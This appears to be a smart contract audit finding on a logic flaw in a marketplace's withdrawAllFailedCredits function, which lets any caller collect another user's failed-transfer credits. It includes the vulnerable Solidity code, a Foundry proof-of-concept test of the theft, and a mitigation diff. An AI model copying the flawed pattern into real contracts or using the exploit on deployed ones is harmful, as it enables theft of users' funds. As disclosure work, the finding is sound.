[H-1] withdrawAllFailedCredits Logic Error
Description The withdrawAllFailedCredits function is designed to allow a user to recover funds that could not be transferred to them in a previeous transaction, However theres a logic error in this implementations that allow a attacker to steal funds of other user
function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Impact: Loss of funds, users can have their funds stolen from the contract
Proof of Concept
function test_exploit_failedTransferCredits() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), 10 ether);
vm.prank(address(rejector));
market.placeBid{value: BUY_NOW_PRICE + MIN_PRICE}(TOKEN_ID);
assertEq(
market.failedTransferCredits(address(rejector)),
MIN_PRICE,
"Overpaid amount should be credited to the rejector"
);
uint256 bidder1BalanceBefore = BIDDER_1.balance;
vm.prank(BIDDER_1);
market.withdrawAllFailedCredits(address(rejector));
assertEq(BIDDER_1.balance, bidder1BalanceBefore + MIN_PRICE, "Attacker should be able to steal the funds");
assertEq(market.failedTransferCredits(address(rejector)), MIN_PRICE, "Victim's credit balance was NOT cleared due to the bug");
}
Recommended Mitigation
Replace msg.sender with _receiver when clearing the credits:
+ require(msg.sender == _receiver, "Caller must be the owner of the credits");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;